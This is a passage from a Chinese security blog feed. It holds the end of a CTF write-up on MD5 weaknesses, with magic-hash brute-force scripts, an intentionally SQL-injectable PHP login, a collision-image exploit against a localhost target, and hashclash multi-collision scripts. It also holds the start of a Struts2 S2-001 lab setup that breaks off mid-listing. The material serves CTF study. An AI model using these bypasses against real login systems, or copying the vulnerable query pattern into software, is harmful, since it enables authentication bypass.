class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"></span><br><span class="line">payload = string.ascii_letters + string.digits</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">calc_md5</span><span class="params">(s)</span>:</span></span><br><span class="line"> md5 = hashlib.md5(s.encode(<span class="string">"utf-8"</span>)).hexdigest()</span><br><span class="line"> md5_double = hashlib.md5(md5.encode(<span class="string">"utf-8"</span>)).hexdigest()</span><br><span class="line"> <span class="keyword">if</span> (md5_double[<span class="number">0</span>:<span class="number">2</span>] == <span class="string">"0e"</span> <span class="keyword">and</span> md5_double[<span class="number">2</span>:].isdigit()):</span><br><span class="line"> print(s)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getstr</span><span class="params">(payload, s, slen)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> (len(s) == slen):</span><br><span class="line"> calc_md5(s)</span><br><span class="line"> <span class="keyword">return</span> s</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> payload:</span><br><span class="line"> sl = s + i</span><br><span class="line"> getstr(payload, sl, slen)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 字符串长度从0到30,肯定找得到</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">3</span>, <span class="number">30</span>):</span><br><span class="line"> getstr(payload, <span class="string">''</span>, i)</span><br></pre></td></tr></table></figure><h2 id="案例5——php中md5-str-true-注入"><a href="#案例5——php中md5-str-true-注入" class="headerlink" title="案例5——php中md5($str,true)注入"></a>案例5——php中md5($str,true)注入</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"> $password = $_POST[<span class="string">'password'</span>];</span><br><span class="line"> $sql = <span class="string">"SELECT * FROM admin WHERE username = 'admin' and password = '"</span>.md5($password,<span class="keyword">true</span>).<span class="string">"'"</span>;</span><br><span class="line"> $result = mysqli_query($link,$sql);</span><br><span class="line"> <span class="keyword">if</span>(mysqli_num_rows($result)><span class="number">0</span>){</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'Success'</span>;</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'Failure'</span>;</span><br><span class="line"> }</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>这里md5输出的是16 字符二进制格式,并不是我们平时看到的32字符十六进制数,所以我们只需要找md5加密后字符串中是否存在<code>'or'</code>字符串</p><p><strong>下面给出我已经爆破好的例子:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">ffifdyop</span><br><span class="line">4SV7p</span><br><span class="line">bJm4aG</span><br><span class="line">bNas5p</span><br><span class="line">ckHAEb</span><br></pre></td></tr></table></figure><p><strong>exp.php</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">$payload = <span class="string">"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"</span>;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">calc_md5_true</span><span class="params">($s)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> $md5_true = md5($s,<span class="keyword">true</span>);</span><br><span class="line"> <span class="keyword">if</span> (strpos($md5_true,<span class="string">"'or'"</span>) !== <span class="keyword">false</span>){</span><br><span class="line"> <span class="keyword">echo</span> $s.PHP_EOL;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getstr</span><span class="params">($payload, $s, $slen)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">if</span> (strlen($s) == $slen) {</span><br><span class="line"> calc_md5_true($s);</span><br><span class="line"> <span class="keyword">return</span> $s;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> ($i = <span class="number">0</span>; $i < strlen($payload); $i++) {</span><br><span class="line"></span><br><span class="line"> $sl = $s . $payload[$i];</span><br><span class="line"> getstr($payload, $sl, $slen);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//字符串长度从3到30,肯定找得到</span></span><br><span class="line"><span class="keyword">for</span> ($i = <span class="number">3</span>; $i < <span class="number">30</span>; $i++) {</span><br><span class="line"> getstr($payload, <span class="string">''</span>, $i);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="案例6——强网杯2018——Web-签到"><a href="#案例6——强网杯2018——Web-签到" class="headerlink" title="案例6——强网杯2018——Web 签到"></a>案例6——强网杯2018——Web 签到</h2><p>这里选取了部分代码,用作演示</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">if</span>((string)$_POST[<span class="string">'param1'</span>]!==(string)$_POST[<span class="string">'param2'</span>] && md5($_POST[<span class="string">'param1'</span>])===md5($_POST[<span class="string">'param2'</span>])){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"success!"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里因为对两个参数都进行了强制类型转换,所以一般的方法(用数组报错绕过肯定是行不通的了),所以我们必须找到两个文件,他们的内容不一样,但是md5值相等</p><p>在网上找到两张图片,他们内容不一样,但是md5值一样</p><p><img src="http://images.xianyu123.club/20200826171352.jpg" alt="double_md5_1"></p><p><img src="http://images.xianyu123.club/20200826171357.jpg" alt="double_md5_2"></p><p><strong>exp.py</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">import</span> requests <span class="keyword">as</span> req</span><br><span class="line">url = <span class="string">'http://localhost:82/WWW/test2.php'</span></span><br><span class="line"><span class="keyword">with</span> open(<span class="string">'double_md5_1.jpg'</span>,<span class="string">'rb'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> md51 = f.read()</span><br><span class="line"><span class="keyword">with</span> open(<span class="string">'double_md5_2.jpg'</span>,<span class="string">'rb'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> md52 = f.read()</span><br><span class="line"></span><br><span class="line">data = {<span class="string">'param1'</span>:md51,<span class="string">'param2'</span>:md52}</span><br><span class="line">r = req.post(url=url,data=data)</span><br><span class="line">print(r.text)</span><br></pre></td></tr></table></figure><h2 id="案例7——md5-a-与md5-md5-a-都是0e开头的字符串"><a href="#案例7——md5-a-与md5-md5-a-都是0e开头的字符串" class="headerlink" title="案例7——md5($a)与md5(md5($a))都是0e开头的字符串"></a>案例7——md5($a)与md5(md5($a))都是0e开头的字符串</h2><p><strong>下面给出我已经爆破好的例子:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>exp.py</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"></span><br><span class="line">payload = string.ascii_letters + string.digits</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">calc_md5</span><span class="params">(s)</span>:</span></span><br><span class="line"> md5 = hashlib.md5(s.encode(<span class="string">"utf-8"</span>)).hexdigest()</span><br><span class="line"> md5_double = hashlib.md5(md5.encode(<span class="string">"utf-8"</span>)).hexdigest()</span><br><span class="line"> <span class="keyword">if</span> (md5[<span class="number">0</span>:<span class="number">2</span>] == <span class="string">"0e"</span> <span class="keyword">and</span> md5[<span class="number">2</span>:].isdigit() <span class="keyword">and</span> md5_double[<span class="number">0</span>:<span class="number">2</span>] == <span class="string">"0e"</span> <span class="keyword">and</span> md5_double[<span class="number">2</span>:].isdigit()):</span><br><span class="line"> print(s)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getstr</span><span class="params">(payload, s, slen)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> (len(s) == slen):</span><br><span class="line"> calc_md5(s)</span><br><span class="line"> <span class="keyword">return</span> s</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> payload:</span><br><span class="line"> sl = s + i</span><br><span class="line"> getstr(payload, sl, slen)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 字符串长度从0到30,肯定找得到</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">3</span>, <span class="number">30</span>):</span><br><span class="line"> getstr(payload, <span class="string">''</span>, i)</span><br></pre></td></tr></table></figure><h2 id="拓展"><a href="#拓展" class="headerlink" title="拓展"></a>拓展</h2><h3 id="三张图片碰撞"><a href="#三张图片碰撞" class="headerlink" title="三张图片碰撞"></a>三张图片碰撞</h3><p>在上个案例中,只是两张图片碰撞。这里我们思考一个问题,如果是三张图片呢,是否存在?答案是存在的</p><p><img src="http://images.xianyu123.club/20200826172135.jpg" alt="three_md5_1"></p><p><img src="http://images.xianyu123.club/20200826172236.jpg" alt="three_md5_2"></p><p><img src="http://images.xianyu123.club/20200826172240.jpg" alt="three_md5_3"></p><h3 id="两个其他类型的文件md5碰撞"><a href="#两个其他类型的文件md5碰撞" class="headerlink" title="两个其他类型的文件md5碰撞"></a>两个其他类型的文件md5碰撞</h3><p>首先下载<a href="https://github.com/cr-marcstevens/hashclash" target="_blank" rel="noopener">hashclash</a>,如果是linux环境的话可以下载编译好的二进制文件,如果是macos系统的话,就需要下载源码,然后自行编译,编译成功如下:</p><p><img src="http://images.xianyu123.club/20200828160628.png" alt="image-20200828160628187"></p><h4 id="创建目录"><a href="#创建目录" class="headerlink" title="创建目录"></a>创建目录</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mkdir ipc_workdir</span><br><span class="line"></span><br><span class="line">cd ipc_workdir</span><br></pre></td></tr></table></figure><h4 id="运行脚本"><a href="#运行脚本" class="headerlink" title="运行脚本"></a>运行脚本</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">echo -n "TEST" > prefix.txt</span><br><span class="line"></span><br><span class="line">../scripts/poc_no.sh prefix.txt</span><br></pre></td></tr></table></figure><p>稍等片刻后,就可以碰撞出来了</p><p><img src="http://images.xianyu123.club/20200828164834.png" alt="image-20200828164834105"></p><h3 id="php文件的md5碰撞"><a href="#php文件的md5碰撞" class="headerlink" title="php文件的md5碰撞"></a>php文件的md5碰撞</h3><p><strong>下载文件:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">wget https://s3-eu-west-1.amazonaws.com/md5collisions/a.php</span><br><span class="line"></span><br><span class="line">wget https://s3-eu-west-1.amazonaws.com/md5collisions/b.php</span><br></pre></td></tr></table></figure><p><img src="http://images.xianyu123.club/20200828205602.png" alt="image-20200828205602032"></p><p><a href="https://natmchugh.blogspot.com/2014/10/how-i-made-two-php-files-with-same-md5.html" target="_blank" rel="noopener">How I made two PHP files with the same MD5 hash</a></p><h3 id="sha1碰撞"><a href="#sha1碰撞" class="headerlink" title="sha1碰撞"></a>sha1碰撞</h3><p><strong>下载文件</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">curl -sSO https://shattered.it/static/shattered-1.pdf</span><br><span class="line"></span><br><span class="line">curl -sSO https://shattered.it/static/shattered-2.pdf</span><br></pre></td></tr></table></figure><p><img src="http://images.xianyu123.club/20200828173329.png" alt="image-20200828173329579"></p><h3 id="任意多个文件,文件内容不同,md5值相同"><a href="#任意多个文件,文件内容不同,md5值相同" class="headerlink" title="任意多个文件,文件内容不同,md5值相同"></a>任意多个文件,文件内容不同,md5值相同</h3><p><strong>运用的原理如下:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MD5(file + col1_a + col2_a) === MD5(file + col1_a + col2_b) === MD5(file + col1_b + col2_a) === MD5(file + col1_b + col2_b)</span><br></pre></td></tr></table></figure><p>这里使用的工具还是<strong>hashclash</strong></p><p>我们在在<strong>hashclash</strong>文件夹下创建工作目录,然后执行下面的shell脚本</p><p><strong>gen.sh</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">../bin/md5_fastcoll test.txt -o test_1.txt test_2.txt</span><br><span class="line">../bin/md5_fastcoll test_1.txt -o test_1_1.txt test_1_2.txt</span><br><span class="line">../bin/md5_fastcoll test_1_1.txt -o test_1_1_1.txt test_1_1_2.txt</span><br><span class="line">./genfiles.py</span><br></pre></td></tr></table></figure><p><strong>genfiles.py</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">with</span> open(<span class="string">"test.txt"</span>,<span class="string">"rb"</span>) <span class="keyword">as</span> f:</span><br><span class="line"> base = f.read()</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> open(<span class="string">"test_1.txt"</span>,<span class="string">"rb"</span>) <span class="keyword">as</span> f:</span><br><span class="line"> file_1 = f.read()</span><br><span class="line"> coll_1 = file_1[len(base):]</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> open(<span class="string">"test_2.txt"</span>,<span class="string">"rb"</span>) <span class="keyword">as</span> f:</span><br><span class="line"> file_2 = f.read()</span><br><span class="line"> coll_2 = file_2[len(base):]</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> open(<span class="string">"test_1_1.txt"</span>,<span class="string">"rb"</span>) <span class="keyword">as</span> f:</span><br><span class="line"> file_1_1 = f.read()</span><br><span class="line"> coll_1_1 = file_1_1[len(file_1):]</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> open(<span class="string">"test_1_2.txt"</span>,<span class="string">"rb"</span>) <span class="keyword">as</span> f:</span><br><span class="line"> file_1_2 = f.read()</span><br><span class="line"> coll_1_2 = file_1_2[len(file_2):]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> open(<span class="string">"test_1_1_1.txt"</span>,<span class="string">"rb"</span>) <span class="keyword">as</span> f:</span><br><span class="line"> file_1_1_1 = f.read()</span><br><span class="line"> coll_1_1_1 = file_1_1_1[len(file_1_1):]</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> open(<span class="string">"test_1_1_2.txt"</span>,<span class="string">"rb"</span>) <span class="keyword">as</span> f:</span><br><span class="line"> file_1_1_2 = f.read()</span><br><span class="line"> coll_1_1_2 = file_1_1_2[len(file_1_2):]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">w</span><span class="params">(fn, data)</span>:</span></span><br><span class="line"> f = open(fn, <span class="string">"wb"</span>)</span><br><span class="line"> f.write(data)</span><br><span class="line"> f.close()</span><br><span class="line"></span><br><span class="line">w(<span class="string">"test1.txt"</span>, base + coll_1 + coll_1_1 + coll_1_1_1)</span><br><span class="line">w(<span class="string">"test2.txt"</span>, base + coll_1 + coll_1_1 + coll_1_1_2)</span><br><span class="line">w(<span class="string">"test3.txt"</span>, base + coll_1 + coll_1_2 + coll_1_1_1)</span><br><span class="line">w(<span class="string">"test4.txt"</span>, base + coll_1 + coll_1_2 + coll_1_1_2)</span><br><span class="line">w(<span class="string">"test5.txt"</span>, base + coll_2 + coll_1_1 + coll_1_1_1)</span><br><span class="line">w(<span class="string">"test6.txt"</span>, base + coll_2 + coll_1_2 + coll_1_1_1)</span><br></pre></td></tr></table></figure><p>这样就可以生成6个文件内容不同,但是它们的md5都相同,事实上,你可以生成任意多个</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>其实很多题目都是类似的,需要我们自己动手写脚本,本质上就是去找hash加密后的字符串前两位是<code>0e</code>,后30位是纯数字的,只要会写脚本,就是万变不离其宗</p><h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><ul><li><a href="https://www.jianshu.com/p/c9089fd5b1ba" target="_blank" rel="noopener">MD5碰撞的一些例子</a></li><li><a href="https://natmchugh.blogspot.com/2015/05/how-to-make-two-binaries-with-same-md5.html" target="_blank" rel="noopener">How to make two binaries with the same MD5 hash</a></li><li><a href="https://natmchugh.blogspot.com/2014/10/how-i-made-two-php-files-with-same-md5.html" target="_blank" rel="noopener">How I made two PHP files with the same MD5 hash</a></li><li><a href="https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value" target="_blank" rel="noopener">Are there two known strings which have the same MD5 hash value?</a></li><li><a href="https://stackoverflow.com/questions/3475648/sha1-collision-demo-example" target="_blank" rel="noopener">SHA1 collision demo / example</a></li><li><a href="https://stratum0.org/blog/posts/2013/08/10/ebctf2013-md5-colliding/" target="_blank" rel="noopener">ebctf 2013: MD5 COLLIDING</a></li><li><a href="https://evi0s.com/2019/02/09/md5-collisions/" target="_blank" rel="noopener">PHP中MD5碰撞Bypass</a></li></ul>]]></content>
<summary type="html">
<p>CTF中关于md5的一些总结</p>
</summary>
<category term="CTF" scheme="http://0clickjacking0.github.io/categories/CTF/"/>
</entry>
<entry>
<title>从零开始学习struts2漏洞———S2-001</title>
<link href="http://0clickjacking0.github.io/2020/08/15/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E5%AD%A6%E4%B9%A0struts2%E6%BC%8F%E6%B4%9E%E2%80%94%E2%80%94%E2%80%94S2-001/"/>
<id>http://0clickjacking0.github.io/2020/08/15/从零开始学习struts2漏洞———S2-001/</id>
<published>2020-08-15T01:58:48.000Z</published>
<updated>2021-01-31T09:24:41.223Z</updated>
<content type="html"><![CDATA[<p>从零开始学习struts2漏洞———S2-001</p><a id="more"></a><h1 id="漏洞信息"><a href="#漏洞信息" class="headerlink" title="漏洞信息"></a>漏洞信息</h1><p>漏洞信息页面: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001" target="_blank" rel="noopener">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p><p>漏洞成因官方概述:Remote code exploit on form validation error</p><p>漏洞影响:</p><p>WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8</p><h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><p>平台:macos15</p><p>工具:</p><ul><li>idea2020</li><li>Tomcat 8.5</li></ul><h3 id="第一步"><a href="#第一步" class="headerlink" title="第一步"></a>第一步</h3><p>在IDEA中新建一个project</p><p><img src="http://images.xianyu123.club/20200815100542.png" alt="image-20200815100542938"></p><p>创建好project项目后,结构如下</p><p><img src="http://images.xianyu123.club/20200815101421.png" alt="image-20200815101420976"></p><h3 id="第二步"><a href="#第二步" class="headerlink" title="第二步"></a>第二步</h3><p>下载<a href="https://raw.githubusercontent.com/vulhub/vulhub/master/struts2/s2-001/S2-001.war" target="_blank" rel="noopener">一些jar包和配置文件</a></p><p>在<code>WEB-INF</code>目录中新建lib目录,将下载的war包解压开来,将所需的五个包放入</p><p><img src="http://images.xianyu123.club/20200815101705.png" alt="image-20200815101705451"></p><p>修改<strong>web.xml</strong>内容为</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?</span>xml version=<span class="string">"1.0"</span> encoding=<span class="string">"UTF-8"</span><span class="meta">?></span></span></span><br><span class="line"><span class="tag"><<span class="name">web-app</span> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="attr">xmlns</span>=<span class="string">"http://xmlns.jcp.org/xml/ns/javaee"</span> <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"</span> <span class="attr">id</span>=<span class="string">"WebApp_ID"</span> <span class="attr">version</span>=<span class="string">"3.1"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">display-name</span>></span>S2-001 Example<span class="tag"></<span class="name">display-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-name</span>></span>struts2<span class="tag"></<span class="name">filter-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-class</span>></span>org.apache.struts2.dispatcher.FilterDispatcher<span class="tag"></<span class="name">filter-class</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-name</span>></span>struts2<span class="tag"></<span class="name">filter-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>/*<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">filter-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">welcome-file-list</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">welcome-file</span>></span>index.jsp<span class="tag"></<span class="name">welcome-file</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">welcome-file-list</span>></span></span><br><span class="line"><span class="tag"></<span class="name">web-app</span>></span></span><br></pre></td></tr></table></figure><p>新建index.jsp和welcome.jsp内容如下</p><p><strong>index.jsp</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><%@ page language=<span class="string">"java"</span> contentType=<span class="string">"text/html; charset=UTF-8"</span></span><br><span class="line"> pageEncoding=<span class="string">"UTF-8"</span>%></span><br><span class="line"><%@ taglib prefix=<span class="string">"s"</span> uri=<span class="string">"/struts-tags"</span> %></span><br><span class="line"><!DOCTYPE html PUBLIC <span class="string">"-//W3C//DTD HTML 4.01 Transitional//EN"</span> <span class="string">"http://www.w3.org/TR/html4/loose.dtd"</span>></span><br><span class="line"><html></span><br><span class="line"><head></span><br><span class="line"> <meta http-equiv=<span class="string">"Content-Type"</span> content=<span class="string">"text/html; charset=UTF-8"</span>></span><br><span class="line"> <title>S2-001</title></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"><h2>S2-001 Demo</h2></span><br><span class="line"><p>link: <a href=<span class="string">"https://cwiki.apache.org/confluence/display/WW/S2-001"</span>>https:<span class="comment">//cwiki.apache.org/confluence/display/WW/S2-001</a></p></span></span><br><span class="line"><s:form action=<span class="string">"login"</span>></span><br><span class="line"> <s:textfield name=<span class="string">"username"</span> label=<span class="string">"username"</span> /></span><br><span class="line"> <s:textfield name=<span class="string">"password"</span> label=<span class="string">"password"</span> /></span><br><span class="line"> <s:submit></s:submit></span><br><span class="line"></s:form></span><br><span class="line"></body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure><p><strong>welcome.jsp</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><%@ page language=<span class="string">"java"</span> contentType=<span class="string">"text/html; charset=UTF-8"</span></span><br><span class="line"> pageEncoding=<span class="string">"UTF-8"</span>%></span><br><span class="line"><%@ taglib prefix=<span class="string">"s"</span> uri=<span class="string">"/struts-tags"</span> %></span><br><span class="line"><!DOCTYPE html PUBLIC <span class="string">"-//W3C//DTD HTML 4.01 Transitional//EN"</span> <span class="string">"http://www.w3.org/TR/html4/loose.dtd"</span>></span><br><span class="line"><html></span><br><span class="line"><head></span><br><span class="line"> <meta http-equiv=<span class="string">"Content-Type"</span> content=<span class="string">"text/html; charset=UTF-8"</span>></span><br><span class="line"> <title>S2-001</title></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"><p>Hello <s:property value="username"></s:property></p></span><br><span class="line"></body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure><p>完成之后,如下图所示</p><p><img src="http://images.xianyu123.club/20200815102125.png" alt="image-20200815102125461"></p><h3 id="第三步"><a href="#第三步" class="headerlink" title="第三步"></a>第三步</h3><p>在src目录下新建<code>com.demo.action</code>package</p><p>在package下新建一个<code>LoginAction.java</code>,内容如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span 